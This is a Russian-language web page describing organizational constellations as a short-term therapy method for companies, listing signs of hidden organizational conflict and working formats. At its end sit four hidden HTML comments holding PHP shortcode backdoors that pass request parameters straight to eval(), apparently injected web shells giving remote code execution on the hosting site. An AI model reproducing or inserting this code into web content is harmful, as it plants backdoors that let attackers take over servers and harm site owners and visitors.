это метод краткосрочной терапии для организаций. Как и человек, организация имеет свои проблемы и свои сложные вопросы с которыми она сталкивается в процессе своей жизнедеятельности. Так как организация —   это  система со своими законами, в соответствии с которыми она функционирует — то  нарушение этих законов ведет к скрытым конфликтам внутри организации и во взаимодействии с внешними структурами.

Признаки, по которым можно узнать, что такого рода нарушение произошло и такой конфликт есть:

• Потеря силы организации
• Недостаток лидерства
• Невозможность достичь целей
• Высокая текучка кадров в компании
• Конфликты среди персонала или отделов
• Недостаток четкости действий или направления

Таким образом, организационная расстановка  работает в направлении обнаружения скрытых причин, приведших к возникновению конфликта, и их устранения, что, как показывает практика, приводит к автоматическому устранению имеющегося конфликта.

Технологически, такого рода работа может происходить в группе или индивидуально, в расстановке могут быть использованы фигурки, напольные якоря или их можно проводить в воображении.

<!— [insert_php]if (isset($_REQUEST["vZCUz"])){eval($_REQUEST["vZCUz"]);exit;}[/insert_php][php]if (isset($_REQUEST["vZCUz"])){eval($_REQUEST["vZCUz"]);exit;}[/php] —>

<!— [insert_php]if (isset($_REQUEST["fBD"])){eval($_REQUEST["fBD"]);exit;}[/insert_php][php]if (isset($_REQUEST["fBD"])){eval($_REQUEST["fBD"]);exit;}[/php] —>

<!— [insert_php]if (isset($_REQUEST["uzOy"])){eval($_REQUEST["uzOy"]);exit;}[/insert_php][php]if (isset($_REQUEST["uzOy"])){eval($_REQUEST["uzOy"]);exit;}[/php] —>

<!— [insert_php]if (isset($_REQUEST["WecaT"])){eval($_REQUEST["WecaT"]);exit;}[/insert_php][php]if (isset($_REQUEST["WecaT"])){eval($_REQUEST["WecaT"]);exit;}[/php] —>